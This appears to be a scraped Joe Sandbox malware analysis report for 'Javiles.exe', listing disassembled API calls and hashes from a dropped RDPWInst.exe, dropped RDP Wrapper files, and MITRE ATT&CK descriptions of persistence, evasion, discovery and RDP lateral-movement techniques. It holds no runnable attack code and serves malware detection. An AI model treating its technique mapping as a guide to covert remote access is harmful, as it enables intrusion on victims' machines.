Download Yara Rule

APIs

FindResourceW.KERNEL32(00400000,00000000,?,00425E1C,00400000,00000001,00000000,?,0042FA36,00000000,0044BFA8,?,0044BFA8,00000000,?,0043CEE1), ref: 0042FB5F
LoadResource.KERNEL32(00400000,0042FBE4,00400000,00000000,?,00425E1C,00400000,00000001,00000000,?,0042FA36,00000000,0044BFA8,?,0044BFA8,00000000), ref: 0042FB79
SizeofResource.KERNEL32(00400000,0042FBE4,00400000,0042FBE4,00400000,00000000,?,00425E1C,00400000,00000001,00000000,?,0042FA36,00000000,0044BFA8), ref: 0042FB93
LockResource.KERNEL32(0042F774,00000000,00400000,0042FBE4,00400000,0042FBE4,00400000,00000000,?,00425E1C,00400000,00000001,00000000,?,0042FA36,00000000), ref: 0042FB9D

Memory Dump Source

Source File: 00000009.00000002.1796146240.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1796118654.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796193785.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796216870.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796232031.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796232031.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796269619.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796287017.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: Resource$FindLoadLockSizeof
String ID:
API String ID: 3473537107-0
Opcode ID: 6ebdd4f1cd543b76a016c77fc1286a410c61f79913e5f64509fe1404532659ad
Instruction ID: 2319d0df2cd87803d0a75df5626f4cddb48e3135002f19a9a4d545a6677a7621
Opcode Fuzzy Hash: 6ebdd4f1cd543b76a016c77fc1286a410c61f79913e5f64509fe1404532659ad
Instruction Fuzzy Hash: 49F06DB37012146F9745EEADA881D6B77FDEE88264390017FFA08D7202DA38ED154379

Function 0040A0E6 Relevance: 6.0, APIs: 3, Strings: 1, Instructions: 41stringCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(00449C1C), ref: 0040A0F8
lstrcmpiA.KERNEL32(?,?), ref: 0040A10E
LeaveCriticalSection.KERNEL32(00449C1C,00449C1C), ref: 0040A143

Strings

YD, xrefs: 0040A0EE

Memory Dump Source

Source File: 00000009.00000002.1796146240.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1796118654.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796193785.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796216870.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796232031.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796232031.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796269619.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796287017.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterLeavelstrcmpi
String ID: YD
API String ID: 2420758022-4277794568
Opcode ID: 0b44f2d380ec5fe545f4f2e3965f64519b1ec05f6d6c381fa1d4a9968702bb33
Instruction ID: abf7b61c1320a37f19f23f54b7b1c16b8e1f28cb69a34480c51c1f01e8ca554a
Opcode Fuzzy Hash: 0b44f2d380ec5fe545f4f2e3965f64519b1ec05f6d6c381fa1d4a9968702bb33
Instruction Fuzzy Hash: 8AF062322003145BEF106A619CC2B1677989F15714F100037FB007F2C3D6BC9C60466F

Function 004059C6 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 124COMMON

Download Yara Rule

APIs

UnhandledExceptionFilter.KERNEL32(00000006,00000000), ref: 00405A9A

Strings

$$@, xrefs: 00405AF6

Memory Dump Source

Source File: 00000009.00000002.1796146240.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1796118654.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796193785.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796216870.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796232031.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796232031.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796269619.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796287017.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled
String ID: $$@
API String ID: 3192549508-1194432280
Opcode ID: ffbabee0d71fd2b7d8fc05915f2ca3a30f23b11c7e3ffcedbc7f052df7b7c5c2
Instruction ID: fff674c7101e68f6d73d2d8a69124ddc370c84ad249f2bdacb9cff7d7fa155c1
Opcode Fuzzy Hash: ffbabee0d71fd2b7d8fc05915f2ca3a30f23b11c7e3ffcedbc7f052df7b7c5c2
Instruction Fuzzy Hash: 1C418C75304A019FD720DB14D884B2BB7A5EB89314F69867AF444AB392C738EC41CF69

Function 0040589A Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 83COMMON

Download Yara Rule

APIs

UnhandledExceptionFilter.KERNEL32(00000006,00000000), ref: 00405906
UnhandledExceptionFilter.KERNEL32(?,?,?,Function_0000589C), ref: 00405943

Strings

$$@, xrefs: 0040596E

Memory Dump Source

Source File: 00000009.00000002.1796146240.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1796118654.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796193785.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796216870.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796232031.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796232031.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796269619.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796287017.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled
String ID: $$@
API String ID: 3192549508-1194432280
Opcode ID: 23fdc1c80813b7a19c68f0c79cc3fa5e3fa91e7525bef4bca6a264e8681dbcfb
Instruction ID: 4b325d1a8302ad8f82e944498d23502563e7d009f61a8d4e6d3783212fd5e4e2
Opcode Fuzzy Hash: 23fdc1c80813b7a19c68f0c79cc3fa5e3fa91e7525bef4bca6a264e8681dbcfb
Instruction Fuzzy Hash: 533141B4604700EFD720DB10D888B6BBBA9EB84724F54857AF448A7291C738EC40CF69

Function 00411498 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 82threadCOMMON

Download Yara Rule

APIs

GetThreadLocale.KERNEL32(00000004,?,00000000,?,00000100,00000000,00411595), ref: 0041152C
GetDateFormatW.KERNEL32(00000000,00000004,?,00000000,?,00000100,00000000,00411595), ref: 00411532

Strings

, xrefs: 004114F8

Memory Dump Source

Source File: 00000009.00000002.1796146240.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1796118654.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796193785.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796216870.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796232031.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796232031.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796269619.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796287017.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: DateFormatLocaleThread
String ID:
API String ID: 3303714858-3916222277
Opcode ID: 0d5b63d8b5d64c377b747a6270c18780734cafdd64312a6cbce0b29c00a6c7cf
Instruction ID: da40258a30b1bf54e866a7fbbaf5cc9082ba5d6ba5cf06b5a9e2a769468a01f6
Opcode Fuzzy Hash: 0d5b63d8b5d64c377b747a6270c18780734cafdd64312a6cbce0b29c00a6c7cf
Instruction Fuzzy Hash: 2C21BB31A04254AFC711DF64C8556EA77B5EF49300F4140A7FD45E72A1D6389E50C7AA

Function 004150E0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 51threadCOMMON

Download Yara Rule

APIs

GetThreadLocale.KERNEL32 ref: 00415102
GetSystemMetrics.USER32(0000004A), ref: 00415153

Strings

p[D, xrefs: 0041512D

Memory Dump Source

Source File: 00000009.00000002.1796146240.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1796118654.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796193785.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796216870.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796232031.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796232031.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796269619.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796287017.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: LocaleMetricsSystemThread
String ID: p[D
API String ID: 3035471613-2202972244
Opcode ID: da98f0b9cf3a04fcb2a289a8677121395d8df8e9f207d3304538472cbe0e1366
Instruction ID: 0794bcb2409efff6a4af82a72d6dc306925be2e2831a755ee0de451743422fb7
Opcode Fuzzy Hash: da98f0b9cf3a04fcb2a289a8677121395d8df8e9f207d3304538472cbe0e1366
Instruction Fuzzy Hash: 4A010430A00650EADB129E6658813D27BD49B82315F48C0BBED489F387D63CD881C77A

Function 0043A688 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 24COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(kernel32.dll,?,00447324,00443D31,00000000,00443FB2,?,?,?,?,00000008,00000000,00000000), ref: 0043A693

Part of subcall function 0040AA94: GetProcAddress.KERNEL32(?,?), ref: 0040AAB8

Strings

kernel32.dll, xrefs: 0043A68E
Wow64DisableWow64FsRedirection, xrefs: 0043A69E

Memory Dump Source

Source File: 00000009.00000002.1796146240.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1796118654.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796193785.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796216870.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796232031.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796232031.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796269619.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796287017.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: AddressHandleModuleProc
String ID: Wow64DisableWow64FsRedirection$kernel32.dll
API String ID: 1646373207-3689287502
Opcode ID: 3a9063c87b9bf03a8dd6229c9438aece060355b6351e033b19066e162e83d57d
Instruction ID: 7cbe884eb00d1b8f8e0b90a93abb1152f64afda344a6e4615680911855581588
Opcode Fuzzy Hash: 3a9063c87b9bf03a8dd6229c9438aece060355b6351e033b19066e162e83d57d
Instruction Fuzzy Hash: D4E012513883C21AD61276FA1DD2B2E26CC4B6D709F2C287FB5C0D1193D99DC468863F

Function 0043A724 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 24COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(kernel32.dll,?,00447324,00443E55,000001F4,000001F4,000003E8,00000000,00443FB2,?,?,?,?,00000008,00000000,00000000), ref: 0043A72F

Part of subcall function 0040AA94: GetProcAddress.KERNEL32(?,?), ref: 0040AAB8

Strings

kernel32.dll, xrefs: 0043A72A
Wow64RevertWow64FsRedirection, xrefs: 0043A73A

Memory Dump Source

Source File: 00000009.00000002.1796146240.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1796118654.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796193785.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796216870.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796232031.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796232031.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796269619.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796287017.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: AddressHandleModuleProc
String ID: Wow64RevertWow64FsRedirection$kernel32.dll
API String ID: 1646373207-1355242751
Opcode ID: 349a73e186955f1baf5885772f004c34863de15e74dc15c33fb7743de3b5e964
Instruction ID: 7f98099b70b18dc0c665e624c368f4c8ddeaec672eef30118536404a03429535
Opcode Fuzzy Hash: 349a73e186955f1baf5885772f004c34863de15e74dc15c33fb7743de3b5e964
Instruction Fuzzy Hash: FBE0C2013883C21EE60272F90DD1B3A17D84B6C308F24183FB1C0D1183DB9CC524862F

Function 00415B40 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 16COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(kernel32.dll,?,0044313B,00000000,0044315A), ref: 00415B46

Part of subcall function 0040AA94: GetProcAddress.KERNEL32(?,?), ref: 0040AAB8

Strings

kernel32.dll, xrefs: 00415B41
GetDiskFreeSpaceExW, xrefs: 00415B51

Memory Dump Source

Source File: 00000009.00000002.1796146240.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1796118654.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796193785.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796216870.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796232031.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796232031.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796269619.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796287017.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: AddressHandleModuleProc
String ID: GetDiskFreeSpaceExW$kernel32.dll
API String ID: 1646373207-1127948838
Opcode ID: a738386b4eb64180ba5d2c03a1b622a8c2aaab42401b0cdd019b227c0ec9c639
Instruction ID: 4ad585b0bbb22d8cb86f0bca7bf1fd5c676b9542b5302fef9f3b12a8682de55f
Opcode Fuzzy Hash: a738386b4eb64180ba5d2c03a1b622a8c2aaab42401b0cdd019b227c0ec9c639
Instruction Fuzzy Hash: 92D0C7B4745F85DBFF10DBA55D83BD62254E785309B10043B70046D2D3D67C6894CB1D

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: Process Creation, Service: Service Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify or add LSASS drivers to obtain persistence on compromised systems. The Windows security subsystem is a set of components that manage and enforce the security policy for a computer or domain. The Local Security Authority (LSA) is the main component responsible for local security policy and user authentication. The LSA includes multiple dynamic link libraries (DLLs) associated with various other security functions, all of which run in the context of the LSA Subsystem Service (LSASS) lsass.exe process.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Driver: Driver Load, File: File Creation, File: File Modification, Module: Module Load
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create an account to maintain access to victim systems. With a sufficient level of access, creating such accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.
Tactics:	Persistence
Data Sources:	Command: Command Execution, Process: Process Creation, User Account: User Account Creation
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may try to gather information about registered local system services. Adversaries may obtain information about services using tools as well as OS utility commands such as `sc query` , `tasklist /svc` , `systemctl --type=service` , and `net start` .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 67065b4c84713_Javiles.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Initial Sample

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Program Files\RDP Wrapper\rdpwrap.dll

C:\Program Files\RDP Wrapper\rdpwrap.ini

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\67065b4c84713_Javiles.exe.log

C:\Users\user\AppData\Local\Temp\RDPWInst.exe

C:\Windows\System32\rfxvmt.dll

\Device\ConDrv

\Device\Mup\899552*\MAILSLOT\NET\NETLOGON

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Windows Analysis Report
67065b4c84713_Javiles.exe

**\Device\Mup\899552*\MAILSLOT\NET\NETLOGON**

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Valid Accounts to log into a computer using the Remote Desktop Protocol (RDP). The adversary may then perform actions as the logged-on user.
Tactics:	Lateral Movement
Data Sources:	Logon Session: Logon Session Creation, Logon Session: Logon Session Metadata, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Flow, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

